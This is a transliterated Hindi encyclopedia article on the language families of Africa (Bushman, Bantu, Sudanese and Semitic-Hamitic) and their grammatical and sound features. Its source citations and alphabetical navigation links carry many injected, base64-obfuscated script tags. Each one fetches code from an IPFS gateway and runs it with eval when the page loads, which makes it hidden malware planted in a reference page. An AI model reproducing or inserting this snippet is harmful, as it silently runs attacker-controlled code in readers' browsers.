अफ्रीकी भाषाएँ

aphriki bhashaean aphrika mahadvip mean bushamain (bulmanivasi), vaantoo, soodan tatha sami--hami--parivar ki bhashaean boli jati haian. aphrika ke samast uttari bhag mean sami bhashaoan ka adhipaty pray: do hajar varshoan se raha hai. idhar do tin shatabdiyoan se dakshin ke kone par aur samast pashchimi kinare par yooropiy jatiyoan ne qabza karake mool nivasiyoan ko mahadvip me bhitari bhagoan ki or hata diya. kiantu ab aphriki nivasiyoan mean jagriti ho chali hai aur phalasvaroop unaki niji bhashaean apana adhikar prapt kar rahi haian.

bushamain parivar

is jati ke log dakshini aphika me mool nivasi samajhe jate haian. inaki bahut si boliyaan haian gramagitoan aur gramakathaoan ko chho dakar in boliyoan mean koee any sahity nahian hai. roop ki drishti se ye bhashaean aant mean pratyay jo danevali yogatmak ashlisht avastha mean haian. inake kuchh lakshan soodan parivar ki bhashaoan se milate haian. aur kuchh baantoo parivar ki juloo ki dhvaniyoan par is parivar ki bhashaoan ka prabhav p da ho. bushamain mean chhah 'klik' dhvaniyaan bhi haian. liang purushatv aur stritv par nirbhar n hokar pranivarg aur apranivarg par avalanbit hai aur is bat se dravi d bhashaoan ke chetan aur achetan liang se samata rakhata haian. bahuvachan banane ke kee dhang haian jinamean abhyas mukhy hai. hoteantat bhashaean bhi bushamain ke aantargat samajhi jati haian. hoteantat shabd pray: ekakshar hote haian. tin vachan (ek, dvi, bahu) hote haian. uttam purush ke dvivachan aur bahuvachan ke sarvanam ke do roop (vachyasamaveshak aur vyatirikt) pae jate haian soor ka bhi astitv hai.

baantoo parivar

ye bhashaean pray: samast dakshini aphrika mean, bhoomadhyarekha ke niche ke bhagoan me boli jati haian. inake dakshin pashchim mean hoteantat aur bushamain haian aur uttar mean soodan parivar ki vibhinn bhashaean. is parivar mean karib ek sau pachas bhashaean haian jo tin ( poorvi, madhyavarti, pashchimi) samoohoan mean baanti jati haian. in bhashaoan mean koee sahity nahian haian. pradhan bhashaean kaphir, jooloo, sesuto, kaango aur svahili haian.

baantoo bhashaean

baantoo bhashaean yogatmak ashlisht akriti ki hai aur paraspar susanbaddh hean inaka pradhan lakshan apasarg jo dakar pad banane ka haian aur paraspar susanbaddh haian. inaka pradhan lakshan upasarg jo dakar pad banane ka he. aant mean pratyay jaaian dakar bhi pad banae jate hai, par upasarg ki apeksha kam. udaharan ke lie sanpradan karak ka arth 'ku' upasarg se nikalata haian, yatha kuti (hamako), kuni (unako), kuje (usako). bahuvachan--abantu (bahut se adami), amuantu (ek adami). baantoo bhashaoan ka doosara pradhan lakshan dhvanisamanjasy hai. ye bhashaean soonane me madhur hoti haian. sabhi shabd svaraant hote haian aur sanyukt vyanjanoan ka abhav sa hai.

soodan parivar

soodan parivar ye bhashaean bhoomadhyarekha ke uttar mean pashchim se poorv tak phaili huee haian. inake uttar me hami parivar ki bhashaean hean. kul 435 bhashaoan me se keval paanch chh: hi lipibaddh paee jati haian. iname baeean, mom, kanoori-hausa tatha pyool mukhy haian. noobi mean chauthi se satavian sadi eesavi ke kopti lipi me lishe lekh milate haian.

in bhashaoan ki akriti mukhy roop se ayogatmak ekakshar dhatuoan ke astitv aur upasarg tatha pratyayoan ke nitaant abhav ke karan chini bhashaoan ki tarah yahaan bhi arth ka bhed sooro par adharit haian. shabdoan me liang nahian hota . avashyakata p dane par nar aur mada me bodhak shabdoan dvara liang dikhaya jata haian. bahuvachan ka bhav saph-saph in bhashaoan me nahi jhalakata. vaky adhikaanshat: chhote chhote, ek sanjna aur ek kriya ke hote haian. soodani bhashaoan mean ek tarah ke muhavare hote haian jinhean dhvanichit, shabdachitr ya varnanatmak kriyavishesh kah sakate haian: jaise, eev bhasha me 'jo' dhatu ka arth chalana hota hai aur isase kee darjan muhavare banate haian jinaka arth sidhe chalana, jaldi chalana, chhote chhote kadam rakhakar chalana, lanbe adami ki chal chalana, choohe adi chhote janavaroan ki tarah chalana, ityadi arth prakat hote hai.

soodan parivar me char samooh haian_
senegal bhashaean,
eev bhashaean,
madhy aphrika samooh aur
nil nadi ke oopari hisse ki boliyaan.

soodan aur baantoo donoan parivaroan me kuchh saman lakshan pae jate haian. donoan me sanjnaoan ko vibhinn ganoan mean vibhakt karate haian. is vibhag ke abhav mean sanjna aur kriya ka bhed keval vaky mean shabd ke sthan se hi prakat hota hai. sur bhi donoan me pray: milate haian.

sami-hami-parivar

hami bhag ki bhashaean samast uttari aphrika mean phaili huee haian aur inako bolanevali kuchh jatiyaan dakshin aur madhyavarti aphrika mean ghusati chali gee haian. sami bhag ki bhashaean mukhy roop se eshiya me boli jati haian par unaki pradhan bhasha arabi ne sare attari aphrika mean bhi ghar kar liya hai. pashchim me morakko se lekar poorav mean svej tak tatha samast misr mean yahi shasan tatha sahity ki mukhy bhasha hai. aljiriya aur morakko ki rajabhasha arabi hai hi. habshi rajabhasha sami hai.
sami-hami parivar ke hami bhag ke paanch mukhy lakshan haian :
(1) pad banane ke lie sanjnaoan mean upasarg aur kriyaoan mean pratyay lagae jate haian,
(2) kriya ke kal ka bodh utana nahian hota jitana kriya ke poorn jae jane ya apoorn rahane ka,
(3) liangabhed purushatv aur stritv par abalanbit n hokar adhar par hai. b de aur shaktishali jiv aur padarth (talavar, b di moti ghas, b di chattan, hathi chahe nar ho ya mada, adi ke bodhak shabd) striliang mean hote haian,
(4) hami ki keval ek bhasha (nami) me dvivachan milata hai, anyoan me nahian . bahuvachan banane ke kee dhang haian. anaj, baloo, ghas adi chhoti chijaaian ko samoohasvaroop bahuvachan mean hi rakha jata hai aur yadi ekatv ka vichar karana hota hai to pratyay ju data hai jaise lish‌ (bahut se aansoo), lis (ek aansoo), bilh‌ (patiange), bil (ek patiang),
(5) hami bhashaoan ka ek vichitr lakshan bahuvachan mean liangabhed kar dena hai. is niyam ko dhruvabhimukh kahate haian. jaise somali bhasha mean libi hiddoo (sher pu.). libihahyahodi (bahut se sher, stri.), hoyodi (mata, stri.), hoyo ianki (mataean, pu.). bahut se sher striliang mean aur bahut si mataean pulliang mean haian.

hami bhashaoan me vibhaktisoochak pratyay nahian pae jate. ye bhashaean paraspar kaphi bhinn haian par sarvanam-th‌ pratyayaant striliang adi ekatasoochak lakshan haian. hami ki mukhy prachin bhashaean misri aur kopti thian. misri bhasha ke lekh chhah hajar varsh poorv tak ke milate haian. isake do roop the--ek dharmagranthoan ka aur doosara janasadharan ka. janasadharan ki misri ki hi ek bhasha kopti hai jisake eesavi doosari sadi se athavian sadi tak ke granth milatak haian. yah 16vian sadi tak ki bolachal ki bhasha thi. vartaman bhashaoan mean habsh desh ki khamir, poorvi aphrika ke kushi samooh ki, somalilaiand ki somali aur libiyaki libi (ya babar) prasiddh haian. vartaman kal ki mistri bhasha gathan mean bahut saral aur sidhi haian. usaki dhatuean (mool shabd) kuchh ekakshar hai aur kuchh anekakshar.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

san.gran-meie (Millet) : le laang d maand (peris); babooram saksena : samany bhashavijnan (prayog).

↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 161-62 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 161-62 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]